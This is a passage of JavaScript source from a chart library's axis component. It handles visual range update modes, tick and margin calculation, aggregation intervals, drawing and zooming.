if(prevDataInfo.isEmpty && !prevDataInfo.containsConstantLine) {
return KEEP;
}
if(!this.isArgumentAxis) {
const viewport = this.getViewport();
if(!isDefined(viewport.startValue) &&
!isDefined(viewport.endValue) &&
!isDefined(viewport.length)) {
return RESET;
}
}
if(this.isArgumentAxis) {
if([SHIFT, KEEP, RESET].indexOf(value) === -1) {
if(range.axisType === constants.discrete) {
const categories = range.categories;
const newCategories = newRange.categories;
const visualRange = this.visualRange();
if(categories &&
newCategories &&
categories.length &&
newCategories.map(c => c.valueOf()).join(',').indexOf(categories.map(c => c.valueOf()).join(',')) !== -1 &&
(visualRange.startValue.valueOf() !== categories[0].valueOf() ||
visualRange.endValue.valueOf() !== categories[categories.length - 1].valueOf())
) {
value = KEEP;
} else {
value = RESET;
}
} else {
const minPoint = translator.translate(range.min);
const minVisiblePoint = translator.translate(viewport.startValue);
const maxPoint = translator.translate(range.max);
const maxVisiblePoint = translator.translate(viewport.endValue);
if(minPoint === minVisiblePoint && maxPoint === maxVisiblePoint) {
value = RESET;
} else if(minPoint !== minVisiblePoint && maxPoint === maxVisiblePoint) {
value = SHIFT;
} else {
value = KEEP;
}
}
if(value === KEEP && prevDataInfo.isEmpty && prevDataInfo.containsConstantLine) {
value = RESET;
}
}
} else {
if([KEEP, RESET].indexOf(value) === -1) {
if(oppositeValue === KEEP) {
value = KEEP;
} else {
value = RESET;
}
}
}
return value;
},
_handleBusinessRangeChanged(oppositeVisualRangeUpdateMode, axisReinitialized, newRange) {
const that = this;
const visualRange = this.visualRange();
if(axisReinitialized || that._translator.getBusinessRange().isEmpty()) {
return;
}
const visualRangeUpdateMode = that._lastVisualRangeUpdateMode = that._getVisualRangeUpdateMode(visualRange, newRange, oppositeVisualRangeUpdateMode);
if(visualRangeUpdateMode === KEEP) {
that._setVisualRange([visualRange.startValue, visualRange.endValue]);
} else if(visualRangeUpdateMode === RESET) {
that._setVisualRange([null, null]);
} else if(visualRangeUpdateMode === SHIFT) {
that._setVisualRange({ length: that.getVisualRangeLength() });
}
},
getVisualRangeLength(range) {
const currentBusinessRange = range || this._translator.getBusinessRange();
const { type } = this._options;
let length;
if(type === constants.logarithmic) {
length = adjust(this.calculateInterval(currentBusinessRange.maxVisible, currentBusinessRange.minVisible));
} else if(type === constants.discrete) {
const categoriesInfo = getCategoriesInfo(currentBusinessRange.categories, currentBusinessRange.minVisible, currentBusinessRange.maxVisible);
length = categoriesInfo.categories.length;
} else {
length = currentBusinessRange.maxVisible - currentBusinessRange.minVisible;
}
return length;
},
getVisualRangeCenter(range, useMerge) {
const translator = this.getTranslator();
const businessRange = translator.getBusinessRange();
const currentBusinessRange = useMerge ? extend(true, {}, businessRange, range || {}) : range || businessRange;
const { type, logarithmBase } = this._options;
let center;
if(!isDefined(currentBusinessRange.minVisible) || !isDefined(currentBusinessRange.maxVisible)) {
return;
}
if(type === constants.logarithmic) {
const { allowNegatives, linearThreshold, minVisible, maxVisible } = currentBusinessRange;
center = raiseTo(adjust(getLog(maxVisible, logarithmBase, allowNegatives, linearThreshold) + getLog(minVisible, logarithmBase, allowNegatives, linearThreshold)) / 2, logarithmBase, allowNegatives, linearThreshold);
} else if(type === constants.discrete) {
const categoriesInfo = getCategoriesInfo(currentBusinessRange.categories, currentBusinessRange.minVisible, currentBusinessRange.maxVisible);
const index = Math.ceil(categoriesInfo.categories.length / 2) - 1;
center = businessRange.categories.indexOf(categoriesInfo.categories[index]);
} else {
center = translator.toValue((currentBusinessRange.maxVisible.valueOf() + currentBusinessRange.minVisible.valueOf()) / 2);
}
return center;
},
setBusinessRange(range, axisReinitialized, oppositeVisualRangeUpdateMode, argCategories) {
const that = this;
const options = that._options;
const isDiscrete = options.type === constants.discrete;
that._handleBusinessRangeChanged(oppositeVisualRangeUpdateMode, axisReinitialized, range);
that._seriesData = new Range(range);
const dataIsEmpty = that._seriesData.isEmpty();
const rangeWithConstantLines = new Range(that._seriesData);
that._addConstantLinesToRange(rangeWithConstantLines, 'minVisible', 'maxVisible');
that._prevDataInfo = {
isEmpty: dataIsEmpty,
containsConstantLine: rangeWithConstantLines.containsConstantLine
};
that._seriesData.addRange({
categories: options.categories,
dataType: options.dataType,
axisType: options.type,
base: options.logarithmBase,
invert: options.inverted
});
that._resolveLogarithmicOptionsForRange(that._seriesData);
if(!isDiscrete) {
if(!isDefined(that._seriesData.min) && !isDefined(that._seriesData.max)) {
const visualRange = that.getViewport();
visualRange && that._seriesData.addRange({
min: visualRange.startValue,
max: visualRange.endValue
});
}
const synchronizedValue = options.synchronizedValue;
if(isDefined(synchronizedValue)) {
that._seriesData.addRange({
min: synchronizedValue,
max: synchronizedValue
});
}
}
that._seriesData.minVisible = that._seriesData.minVisible ?? that._seriesData.min;
that._seriesData.maxVisible = that._seriesData.maxVisible ?? that._seriesData.max;
if(!that.isArgumentAxis && options.showZero) {
that._seriesData.correctValueZeroLevel();
}
that._seriesData.sortCategories(that.getCategoriesSorter(argCategories));
that._seriesData.userBreaks = that._seriesData.isEmpty() ? [] : that._getScaleBreaks(options, that._seriesData, that._series, that.isArgumentAxis);
that._translator.updateBusinessRange(that._getViewportRange());
},
_addConstantLinesToRange(dataRange, minValueField, maxValueField) {
this._outsideConstantLines.concat(this._insideConstantLines || []).forEach(cl => {
if(cl.options.extendAxis) {
const value = cl.getParsedValue();
dataRange.addRange({
containsConstantLine: true,
[minValueField]: value,
[maxValueField]: value
});
}
});
},
setGroupSeries: function(series) {
this._series = series;
},
getLabelsPosition: function() {
const that = this;
const options = that._options;
const position = options.position;
const labelShift = options.label.indentFromAxis + (that._axisShift || 0) + that._constantLabelOffset;
const axisPosition = that._axisPosition;
return position === TOP || position === LEFT ? axisPosition - labelShift : axisPosition + labelShift;
},
getFormattedValue: function(value, options, point) {
const labelOptions = this._options.label;
return isDefined(value) ? this.formatLabel(value, extend(true, {}, labelOptions, options), undefined, point) : null;
},
_getBoundaryTicks: function(majors, viewPort) {
const that = this;
const length = majors.length;
const options = that._options;
const customBounds = options.customBoundTicks;
const min = viewPort.minVisible;
const max = viewPort.maxVisible;
const addMinMax = options.showCustomBoundaryTicks ? that._boundaryTicksVisibility : {};
let boundaryTicks = [];
if(options.type === constants.discrete) {
if(that._tickOffset && majors.length !== 0) {
boundaryTicks = [majors[0], majors[majors.length - 1]];
}
} else {
if(customBounds) {
if(addMinMax.min && isDefined(customBounds[0])) {
boundaryTicks.push(customBounds[0]);
}
if(addMinMax.max && isDefined(customBounds[1])) {
boundaryTicks.push(customBounds[1]);
}
} else {
if(addMinMax.min && (length === 0 || majors[0] > min)) {
boundaryTicks.push(min);
}
if(addMinMax.max && (length === 0 || majors[length - 1] < max)) {
boundaryTicks.push(max);
}
}
}
return boundaryTicks;
},
setPercentLabelFormat: function() {
if(!this._hasLabelFormat) {
this._options.label.format = 'percent';
}
},
resetAutoLabelFormat: function() {
if(!this._hasLabelFormat) {
delete this._options.label.format;
}
},
getMultipleAxesSpacing: function() {
return this._options.multipleAxesSpacing || 0;
},
getTicksValues: function() {
return {
majorTicksValues: convertTicksToValues(this._majorTicks),
minorTicksValues: convertTicksToValues(this._minorTicks)
};
},
estimateTickInterval: function(canvas) {
const that = this;
that.updateCanvas(canvas);
return that._tickInterval !== that._getTicks(that._getViewportRange(), _noop, true).tickInterval;
},
setTicks: function(ticks) {
const majors = ticks.majorTicks || [];
this._majorTicks = majors.map(createMajorTick(this, this._renderer, this._getSkippedCategory(majors)));
this._minorTicks = (ticks.minorTicks || []).map(createMinorTick(this, this._renderer));
this._isSynchronized = true;
},
_adjustDivisionFactor: function(val) {
return val;
},
_getTicks: function(viewPort, incidentOccurred, skipTickGeneration) {
const that = this;
const options = that._options;
const customTicks = options.customTicks;
const customMinorTicks = options.customMinorTicks;
return getTickGenerator(options, incidentOccurred || that._incidentOccurred, skipTickGeneration, that._translator.getBusinessRange().isEmpty(), that._adjustDivisionFactor.bind(that), viewPort)(
{
min: viewPort.minVisible,
max: viewPort.maxVisible,
categories: viewPort.categories,
isSpacedMargin: viewPort.isSpacedMargin
},
that._getScreenDelta(),
options.tickInterval,
options.label.overlappingBehavior === 'ignore' || options.forceUserTickInterval,
{
majors: customTicks,
minors: customMinorTicks
},
options.minorTickInterval,
options.minorTickCount,
that._initialBreaks
);
},
_createTicksAndLabelFormat: function(range, incidentOccurred) {
const options = this._options;
const ticks = this._getTicks(range, incidentOccurred, false);
if(!range.isEmpty() && options.type === constants.discrete && options.dataType === 'datetime' && !this._hasLabelFormat && ticks.ticks.length) {
options.label.format = formatHelper.getDateFormatByTicks(ticks.ticks);
}
return ticks;
},
getAggregationInfo(useAllAggregatedPoints, range) {
const that = this;
const options = that._options;
const marginOptions = that._marginOptions;
const businessRange = new Range(that.getTranslator().getBusinessRange()).addRange(range);
const visualRange = that.getViewport();
const minVisible = visualRange?.startValue ?? businessRange.minVisible;
const maxVisible = visualRange?.endValue ?? businessRange.maxVisible;
let ticks = [];
if(options.type === constants.discrete && options.aggregateByCategory) {
return {
aggregateByCategory: true
};
}
const aggregationInterval = options.aggregationInterval;
let aggregationGroupWidth = options.aggregationGroupWidth;
if(!aggregationGroupWidth && marginOptions) {
if(marginOptions.checkInterval) {
aggregationGroupWidth = options.axisDivisionFactor;
}
if(marginOptions.sizePointNormalState) {
aggregationGroupWidth = Math.min(marginOptions.sizePointNormalState, options.axisDivisionFactor);
}
}
const minInterval = !options.aggregationGroupWidth && !aggregationInterval && range.interval;
const generateTicks = configureGenerator(options, aggregationGroupWidth, businessRange, that._getScreenDelta(), minInterval);
const tickInterval = generateTicks(aggregationInterval, true, minVisible, maxVisible, that._seriesData?.breaks).tickInterval;
if(options.type !== constants.discrete) {
const min = useAllAggregatedPoints ? businessRange.min : minVisible;
const max = useAllAggregatedPoints ? businessRange.max : maxVisible;
if(isDefined(min) && isDefined(max)) {
const add = getAddFunction({
base: options.logarithmBase,
axisType: options.type,
dataType: options.dataType
}, false);
let start = min;
let end = max;
if(!useAllAggregatedPoints) {
const maxMinDistance = Math.max(that.calculateInterval(max, min), options.dataType === 'datetime' ? dateUtils.dateToMilliseconds(tickInterval) : tickInterval);
start = add(min, maxMinDistance, -1);
end = add(max, maxMinDistance);
}
start = start < businessRange.min ? businessRange.min : start;
end = end > businessRange.max ? businessRange.max : end;
const breaks = that._getScaleBreaks(options, {
minVisible: start,
maxVisible: end
}, that._series, that.isArgumentAxis);
const filteredBreaks = that._filterBreaks(breaks, {
minVisible: start,
maxVisible: end
}, options.breakStyle);
ticks = generateTicks(tickInterval, false, start, end, filteredBreaks).ticks;
}
}
that._aggregationInterval = tickInterval;
return {
interval: tickInterval,
ticks: ticks
};
},
getTickInterval() {
return this._tickInterval;
},
getAggregationInterval() {
return this._aggregationInterval;
},
createTicks: function(canvas) {
const that = this;
const renderer = that._renderer;
const options = that._options;
if(!canvas) {
return;
}
that._isSynchronized = false;
that.updateCanvas(canvas);
const range = that._getViewportRange();
that._initialBreaks = range.breaks = this._seriesData.breaks = that._filterBreaks(this._seriesData.userBreaks, range, options.breakStyle);
that._estimatedTickInterval = that._getTicks(that.adjustViewport(this._seriesData), _noop, true).tickInterval; // tickInterval calculation
const margins = this._calculateValueMargins();
range.addRange({
minVisible: margins.minValue,
maxVisible: margins.maxValue,
isSpacedMargin: margins.isSpacedMargin
});
const ticks = that._createTicksAndLabelFormat(range);
const boundaryTicks = that._getBoundaryTicks(ticks.ticks, that._getViewportRange());
if(options.showCustomBoundaryTicks && boundaryTicks.length) {
that._boundaryTicks = [boundaryTicks[0]].map(createBoundaryTick(that, renderer, true));
if(boundaryTicks.length > 1) {
that._boundaryTicks = that._boundaryTicks.concat([boundaryTicks[1]].map(createBoundaryTick(that, renderer, false)));
}
} else {
that._boundaryTicks = [];
}
const minors = (ticks.minorTicks || []).filter(function(minor) {
return !boundaryTicks.some(function(boundary) {
return valueOf(boundary) === valueOf(minor);
});
});
that._tickInterval = ticks.tickInterval;
that._minorTickInterval = ticks.minorTickInterval;
const oldMajorTicks = that._majorTicks || [];
const majorTicksByValues = oldMajorTicks.reduce((r, t) => {
r[t.value.valueOf()] = t;
return r;
}, {});
const sameType = type(ticks.ticks[0]) === type(oldMajorTicks[0] && oldMajorTicks[0].value);
const skippedCategory = that._getSkippedCategory(ticks.ticks);
const majorTicks = ticks.ticks.map(v => {
const tick = majorTicksByValues[v.valueOf()];
if(tick && sameType) {
delete majorTicksByValues[v.valueOf()];
tick.setSkippedCategory(skippedCategory);
return tick;
} else {
return createMajorTick(that, renderer, skippedCategory)(v);
}
});
that._majorTicks = majorTicks;
const oldMinorTicks = that._minorTicks || [];
that._minorTicks = minors.map((v, i) => {
const minorTick = oldMinorTicks[i];
if(minorTick) {
minorTick.updateValue(v);
return minorTick;
}
return createMinorTick(that, renderer)(v);
});
that._ticksToRemove = Object.keys(majorTicksByValues)
.map(k => majorTicksByValues[k]).concat(oldMinorTicks.slice(that._minorTicks.length, oldMinorTicks.length));
that._ticksToRemove.forEach(t => t.label?.removeTitle());
if(ticks.breaks) {
that._seriesData.breaks = ticks.breaks;
}
that._reinitTranslator(that._getViewportRange());
},
_reinitTranslator: function(range) {
const that = this;
const translator = that._translator;
if(that._isSynchronized) {
return;
}
translator.updateBusinessRange(range);
},
_getViewportRange() {
return this.adjustViewport(this._seriesData);
},
setMarginOptions: function(options) {
this._marginOptions = options;
},
getMarginOptions() {
return this._marginOptions ?? {};
},
_calculateRangeInterval: function(interval) {
const isDateTime = this._options.dataType === 'datetime';
const minArgs = [];
const addToArgs = function(value) {
isDefined(value) && minArgs.push(isDateTime ? dateUtils.dateToMilliseconds(value) : value);
};
addToArgs(this._tickInterval);
addToArgs(this._estimatedTickInterval);
isDefined(interval) && minArgs.push(interval);
addToArgs(this._aggregationInterval);
return this._calculateWorkWeekInterval(_min.apply(this, minArgs));
},
_calculateWorkWeekInterval(businessInterval) {
const options = this._options;
if(options.dataType === 'datetime' && options.workdaysOnly && businessInterval) {
const workWeek = options.workWeek.length * dateIntervals.day;
const weekend = dateIntervals.week - workWeek;
if(workWeek !== businessInterval && weekend < businessInterval) {
const weekendsCount = Math.ceil(businessInterval / dateIntervals.week);
businessInterval = businessInterval - (weekend * weekendsCount);
} else if(weekend >= businessInterval && businessInterval > dateIntervals.day) {
businessInterval = dateIntervals.day;
}
}
return businessInterval;
},
_getConvertIntervalCoefficient(intervalInPx, screenDelta) {
const ratioOfCanvasRange = this._translator.ratioOfCanvasRange();
return ratioOfCanvasRange / (ratioOfCanvasRange * screenDelta / (intervalInPx + screenDelta));
},
_calculateValueMargins(ticks) {
this._resetMargins();
const that = this;
const margins = that.getMarginOptions();
const marginSize = (margins.size || 0) / 2;
const options = that._options;
const dataRange = that._getViewportRange();
const viewPort = that.getViewport();
const screenDelta = that._getScreenDelta();
const isDiscrete = (options.type || '').indexOf(constants.discrete) !== -1;
const valueMarginsEnabled = options.valueMarginsEnabled && !isDiscrete && !that.customPositionIsBoundaryOrthogonalAxis();
const translator = that._translator;
const minValueMargin = options.minValueMargin;
const maxValueMargin = options.maxValueMargin;
let minPadding = 0;
let maxPadding = 0;
let interval = 0;
let rangeInterval;
if(dataRange.stubData || !screenDelta) {
return {
startPadding: 0,
endPadding: 0
};
}
if(that.isArgumentAxis && margins.checkInterval) {
rangeInterval = that._calculateRangeInterval(dataRange.interval);
const pxInterval = translator.getInterval(rangeInterval);
if(isFinite(pxInterval)) {
interval = Math.ceil(pxInterval / (2 * that._getConvertIntervalCoefficient(pxInterval, screenDelta)));
} else {
rangeInterval = 0;
}
}
let minPercentPadding;
let maxPercentPadding;
const maxPaddingValue = (screenDelta * MAX_MARGIN_VALUE) / 2;
if(valueMarginsEnabled) {
if(isDefined(minValueMargin)) {
minPercentPadding = isFinite(minValueMargin) ? minValueMargin : 0;
} else if(!that.isArgumentAxis && margins.checkInterval && valueOf(dataRange.minVisible) > 0 && valueOf(dataRange.minVisible) === valueOf(dataRange.min)) {
minPadding = MIN_BAR_MARGIN;
} else {
minPadding = Math.max(marginSize, interval);
minPadding = Math.min(maxPaddingValue, minPadding);
}
if(isDefined(maxValueMargin)) {
maxPercentPadding = isFinite(maxValueMargin) ? maxValueMargin : 0;
} else if(!that.isArgumentAxis && margins.checkInterval && valueOf(dataRange.maxVisible) < 0 && valueOf(dataRange.maxVisible) === valueOf(dataRange.max)) {
maxPadding = MIN_BAR_MARGIN;
} else {
maxPadding = Math.max(marginSize, interval);
maxPadding = Math.min(maxPaddingValue, maxPadding);
}
}
const percentStick = margins.percentStick && !this.isArgumentAxis;
if(percentStick) {
if(_abs(dataRange.max) === 1) {
maxPadding = 0;
}
if(_abs(dataRange.min) === 1) {
minPadding = 0;
}
}
const canvasStartEnd = that._getCanvasStartEnd();
const commonMargin = 1 + (minPercentPadding || 0) + (maxPercentPadding || 0);
const screenDeltaWithMargins = ((screenDelta - minPadding - maxPadding) / commonMargin) || screenDelta;
if(minPercentPadding !== undefined || maxPercentPadding !== undefined) {
if(minPercentPadding !== undefined) {
minPadding = screenDeltaWithMargins * minPercentPadding;
}
if(maxPercentPadding !== undefined) {
maxPadding = screenDeltaWithMargins * maxPercentPadding;
}
}
let minValue;
let maxValue;
if(options.type !== constants.discrete &&
ticks && ticks.length > 1 &&
!options.skipViewportExtending &&
!viewPort.action &&
options.endOnTick !== false) {
const length = ticks.length;
const firstTickPosition = translator.translate(ticks[0].value);
const lastTickPosition = translator.translate(ticks[length - 1].value);
const invertMultiplier = firstTickPosition > lastTickPosition ? -1 : 1;
const minTickPadding = _max(invertMultiplier * (canvasStartEnd.start - firstTickPosition), 0);
const maxTickPadding = _max(invertMultiplier * (lastTickPosition - canvasStartEnd.end), 0);
if(minTickPadding > minPadding || maxTickPadding > maxPadding) {
const commonPadding = (maxTickPadding + minTickPadding);
const coeff = that._getConvertIntervalCoefficient(commonPadding, screenDelta);
if(minTickPadding >= minPadding) {
minValue = ticks[0].value;
}
if(maxTickPadding >= maxPadding) {
maxValue = ticks[length - 1].value;
}
minPadding = _max(minTickPadding, minPadding) / coeff;
maxPadding = _max(maxTickPadding, maxPadding) / coeff;
}
}
minPercentPadding = minPercentPadding === undefined ? minPadding / screenDeltaWithMargins : minPercentPadding;
maxPercentPadding = maxPercentPadding === undefined ? maxPadding / screenDeltaWithMargins : maxPercentPadding;
if(!isDiscrete) {
if(this._translator.isInverted()) {
minValue = minValue ?? translator.from(canvasStartEnd.start + screenDelta * minPercentPadding, -1);
maxValue = maxValue ?? translator.from(canvasStartEnd.end - screenDelta * maxPercentPadding, 1);
} else {
minValue = minValue ?? translator.from(canvasStartEnd.start - screenDelta * minPercentPadding, -1);
maxValue = maxValue ?? translator.from(canvasStartEnd.end + screenDelta * maxPercentPadding, 1);
}
}
const { correctedMin, correctedMax, start, end } = that.getCorrectedValuesToZero(minValue, maxValue);
minPadding = start ?? minPadding;
maxPadding = end ?? maxPadding;
return {
startPadding: translator.isInverted() ? maxPadding : minPadding,
endPadding: translator.isInverted() ? minPadding : maxPadding,
minValue: correctedMin ?? minValue,
maxValue: correctedMax ?? maxValue,
interval: rangeInterval,
isSpacedMargin: minPadding === maxPadding && minPadding !== 0
};
},
getCorrectedValuesToZero(minValue, maxValue) {
const that = this;
const translator = that._translator;
const canvasStartEnd = that._getCanvasStartEnd();
const dataRange = that._getViewportRange();
const screenDelta = that._getScreenDelta();
const options = that._options;
let start;
let end;
let correctedMin;
let correctedMax;
const correctZeroLevel = (minPoint, maxPoint) => {
const minExpectedPadding = _abs(canvasStartEnd.start - minPoint);
const maxExpectedPadding = _abs(canvasStartEnd.end - maxPoint);
const coeff = that._getConvertIntervalCoefficient(minExpectedPadding + maxExpectedPadding, screenDelta);
start = minExpectedPadding / coeff;
end = maxExpectedPadding / coeff;
};
if(!that.isArgumentAxis && options.dataType !== 'datetime') {
if(minValue * dataRange.min <= 0 && minValue * dataRange.minVisible <= 0) {
correctZeroLevel(translator.translate(0), translator.translate(maxValue));
correctedMin = 0;
}
if(maxValue * dataRange.max <= 0 && maxValue * dataRange.maxVisible <= 0) {
correctZeroLevel(translator.translate(minValue), translator.translate(0));
correctedMax = 0;
}
}
return {
start: isFinite(start) ? start : null,
end: isFinite(end) ? end : null,
correctedMin,
correctedMax
};
},
applyMargins() {
if(this._isSynchronized) {
return;
}
const margins = this._calculateValueMargins(this._majorTicks);
const canvas = extend({}, this._canvas, {
startPadding: margins.startPadding,
endPadding: margins.endPadding
});
this._translator.updateCanvas(this._processCanvas(canvas));
if(isFinite(margins.interval)) {
const br = this._translator.getBusinessRange();
br.addRange({ interval: margins.interval });
this._translator.updateBusinessRange(br);
}
},
_resetMargins: function() {
this._reinitTranslator(this._getViewportRange());
if(this._canvas) {
this._translator.updateCanvas(this._processCanvas(this._canvas));
}
},
_createConstantLines() {
const constantLines = (this._options.constantLines || []).map(o => createConstantLine(this, o));
this._outsideConstantLines = constantLines.filter(l => l.labelPosition === 'outside');
this._insideConstantLines = constantLines.filter(l => l.labelPosition === 'inside');
},
draw: function(canvas, borderOptions) {
const that = this;
const options = this._options;
that.borderOptions = borderOptions || { visible: false };
that._resetMargins();
that.createTicks(canvas);
that.applyMargins();
that._clearAxisGroups();
initTickCoords(that._majorTicks);
initTickCoords(that._minorTicks);
initTickCoords(that._boundaryTicks);
that._axisGroup.append(that._axesContainerGroup);
that._drawAxis();
that._drawTitle();
drawTickMarks(that._majorTicks, options.tick);
drawTickMarks(that._minorTicks, options.minorTick);
drawTickMarks(that._boundaryTicks, options.tick);
const drawGridLine = that._getGridLineDrawer();
drawGrids(that._majorTicks, drawGridLine);
drawGrids(that._minorTicks, drawGridLine);
callAction(that._majorTicks, 'drawLabel', that._getViewportRange(), that._getTemplate(options.label.template));
that._templatesRendered && that._templatesRendered.reject();
that._templatesRendered = new Deferred();
that._majorTicks.forEach(function(tick) {
tick.labelRotationAngle = 0;
tick.labelAlignment = undefined;
tick.labelOffset = 0;
});
callAction(that._outsideConstantLines.concat(that._insideConstantLines), 'draw');
callAction(that._strips, 'draw');
that._dateMarkers = that._drawDateMarkers() || [];
that._stripLabelAxesGroup && that._axisStripLabelGroup.append(that._stripLabelAxesGroup);
that._gridContainerGroup && that._axisGridGroup.append(that._gridContainerGroup);
that._stripsGroup && that._axisStripGroup.append(that._stripsGroup);
that._labelsAxesGroup && that._axisElementsGroup.append(that._labelsAxesGroup);
if(that._constantLinesGroup) {
that._axisConstantLineGroups.above.inside.append(that._constantLinesGroup.above);
that._axisConstantLineGroups.above.outside1.append(that._constantLinesGroup.above);
that._axisConstantLineGroups.above.outside2.append(that._constantLinesGroup.above);
that._axisConstantLineGroups.under.inside.append(that._constantLinesGroup.under);
that._axisConstantLineGroups.under.outside1.append(that._constantLinesGroup.under);
that._axisConstantLineGroups.under.outside2.append(that._constantLinesGroup.under);
}
that._measureTitle();
measureLabels(that._majorTicks);
!options.label.template && that._applyWordWrap();
measureLabels(that._outsideConstantLines);
measureLabels(that._insideConstantLines);
measureLabels(that._strips);
measureLabels(that._dateMarkers);
that._adjustConstantLineLabels(that._insideConstantLines);
that._adjustStripLabels();
let offset = that._constantLabelOffset = that._adjustConstantLineLabels(that._outsideConstantLines);
if(!that._translator.getBusinessRange().isEmpty()) {
that._setLabelsPlacement();
offset = that._adjustLabels(offset);
}
when.apply(this, that._majorTicks.map(tick => tick.getTemplateDeferred())).done(() => {
that._templatesRendered.resolve();
});
offset = that._adjustDateMarkers(offset);
that._adjustTitle(offset);
},
getTemplatesDef() {
return this._templatesRendered;
},
setRenderedState(state) {
this._drawn = state;
},
isRendered() {
return this._drawn;
},
_applyWordWrap() {
const that = this;
let convertedTickInterval;
let textWidth;
let textHeight;
const options = this._options;
const tickInterval = that._tickInterval;
if(isDefined(tickInterval)) {
convertedTickInterval = that.getTranslator().getInterval(options.dataType === 'datetime' ? dateUtils.dateToMilliseconds(tickInterval) : tickInterval);
}
const displayMode = that._validateDisplayMode(options.label.displayMode);
const overlappingMode = that._validateOverlappingMode(options.label.overlappingBehavior, displayMode);
const wordWrapMode = options.label.wordWrap || 'none';
const overflowMode = options.label.textOverflow || 'none';
if((wordWrapMode !== 'none' || overflowMode !== 'none') && displayMode !== ROTATE && overlappingMode !== ROTATE && overlappingMode !== 'auto') {
const usefulSpace = isDefined(options.placeholderSize) ? options.placeholderSize - options.label.indentFromAxis : undefined;
if(that._isHorizontal) {
textWidth = convertedTickInterval;
textHeight = usefulSpace;
} else {
textWidth = usefulSpace;
textHeight = convertedTickInterval;
}
let correctByWidth = false;
let correctByHeight = false;
if(textWidth) {
if(that._majorTicks.some(tick => tick.labelBBox.width > textWidth)) {
correctByWidth = true;
}
}
if(textHeight) {
if(that._majorTicks.some(tick => tick.labelBBox.height > textHeight)) {
correctByHeight = true;
}
}
if(correctByWidth || correctByHeight) {
that._majorTicks.forEach(tick => {
tick.label && tick.label.setMaxSize(textWidth, textHeight, options.label);
});
measureLabels(that._majorTicks);
}
}
},
_measureTitle: _noop,
animate() {
callAction(this._majorTicks, 'animateLabels');
},
updateSize(canvas, animate, updateTitle = true) {
const that = this;
that.updateCanvas(canvas);
if(updateTitle) {
that._checkTitleOverflow();
that._measureTitle();
that._updateTitleCoords();
}
that._reinitTranslator(that._getViewportRange());
that.applyMargins();
const animationEnabled = !that._firstDrawing && animate;
const options = that._options;
initTickCoords(that._majorTicks);
initTickCoords(that._minorTicks);
initTickCoords(that._boundaryTicks);
if(that._resetApplyingAnimation && !that._firstDrawing) {
that._resetStartCoordinates();
}
cleanUpInvalidTicks(that._majorTicks);
cleanUpInvalidTicks(that._minorTicks);
cleanUpInvalidTicks(that._boundaryTicks);
if(that._axisElement) {
that._updateAxisElementPosition();
}
updateTicksPosition(that._majorTicks, options.tick, animationEnabled);
updateTicksPosition(that._minorTicks, options.minorTick, animationEnabled);
updateTicksPosition(that._boundaryTicks, options.tick);
callAction(that._majorTicks, 'updateLabelPosition', animationEnabled);
that._outsideConstantLines.concat(that._insideConstantLines || []).forEach(l => l.updatePosition(animationEnabled));
callAction(that._strips, 'updatePosition', animationEnabled);
updateGridsPosition(that._majorTicks, animationEnabled);
updateGridsPosition(that._minorTicks, animationEnabled);
if(animationEnabled) {
callAction(that._ticksToRemove || [], 'fadeOutElements');
}
that.prepareAnimation();
that._ticksToRemove = null;
if(!that._translator.getBusinessRange().isEmpty()) {
that._firstDrawing = false;
}
that._resetApplyingAnimation = false;
that._updateLabelsPosition();
},
_updateLabelsPosition: _noop,
prepareAnimation() {
const that = this;
const action = 'saveCoords';
callAction(that._majorTicks, action);
callAction(that._minorTicks, action);
callAction(that._insideConstantLines, action);
callAction(that._outsideConstantLines, action);
callAction(that._strips, action);
},
_resetStartCoordinates() {
const that = this;
const action = 'resetCoordinates';
callAction(that._majorTicks, action);
callAction(that._minorTicks, action);
callAction(that._insideConstantLines, action);
callAction(that._outsideConstantLines, action);
callAction(that._strips, action);
},
applyClipRects: function(elementsClipID, canvasClipID) {
this._axisGroup.attr({ 'clip-path': canvasClipID });
this._axisStripGroup.attr({ 'clip-path': elementsClipID });
this._axisElementsGroup.attr({ 'clip-path': canvasClipID });
},
_validateVisualRange(optionValue) {
const range = getVizRangeObject(optionValue);
if(range.startValue !== undefined) {
range.startValue = this.validateUnit(range.startValue);
}
if(range.endValue !== undefined) {
range.endValue = this.validateUnit(range.endValue);
}
return convertVisualRangeObject(range, !_isArray(optionValue));
},
_validateOptions(options) {
const that = this;
options.wholeRange = that._validateVisualRange(options.wholeRange);
options.visualRange = options._customVisualRange = that._validateVisualRange(options._customVisualRange);
that._setVisualRange(options._customVisualRange);
},
validate() {
const that = this;
const options = that._options;
const dataType = that.isArgumentAxis ? options.argumentType : options.valueType;
const parser = dataType ? getParser(dataType) : function(unit) { return unit; };
that.parser = parser;
options.dataType = dataType;
that._validateOptions(options);
},
resetVisualRange(isSilent) {
this._seriesData.minVisible = this._seriesData.min;
this._seriesData.maxVisible = this._seriesData.max;
this.handleZooming([null, null], { start: !!isSilent, end: !!isSilent });
},
_setVisualRange(visualRange, allowPartialUpdate) {
const range = this.adjustRange(getVizRangeObject(visualRange));
if(allowPartialUpdate) {
isDefined(range.startValue) && (this._viewport.startValue = range.startValue);
isDefined(range.endValue) && (this._viewport.endValue = range.endValue);
} else {
this._viewport = range;
}
},
_applyZooming(visualRange, allowPartialUpdate) {
const that = this;
that._resetVisualRangeOption();
that._setVisualRange(visualRange, allowPartialUpdate);
const viewPort = that.getViewport();
that._seriesData.userBreaks = that._getScaleBreaks(that._options, {
minVisible: viewPort.startValue,
maxVisible: viewPort.endValue
}, that._series, that.isArgumentAxis);
that._translator.updateBusinessRange(that._getViewportRange());
},
getZoomStartEventArg(event, actionType) {
return {
axis: this,
range: this.visualRange(),
cancel: false,
event,
actionType
};
},
_getZoomEndEventArg(previousRange, event, actionType, zoomFactor, shift) {
const newRange = this.visualRange();
return {
axis: this,
previousRange,
range: newRange,
cancel: false,
event,
actionType,
zoomFactor,
shift,
// backwards
rangeStart: newRange.startValue,
rangeEnd: newRange.endValue
};
},
getZoomBounds() {
const wholeRange = getVizRangeObject(this._options.wholeRange);
const range = this.getTranslator().getBusinessRange();
const secondPriorityRange = {
startValue: getZoomBoundValue(this._initRange.startValue, range.min),
endValue: getZoomBoundValue(this._initRange.endValue, range.max)
};
return {
startValue: getZoomBoundValue(wholeRange.startValue, secondPriorityRange.startValue),
endValue: getZoomBoundValue(wholeRange.endValue, secondPriorityRange.endValue)
};
},
setInitRange() {
this._initRange = {};
if(Object.keys(this._options.wholeRange || {}).length === 0) {
this._initRange = this.getZoomBounds();
}
},
_resetVisualRangeOption() {
this._options._customVisualRange = {};
},
getTemplatesGroups() {
const ticks = this._majorTicks;
if(ticks) {
return this._majorTicks.map(tick => {
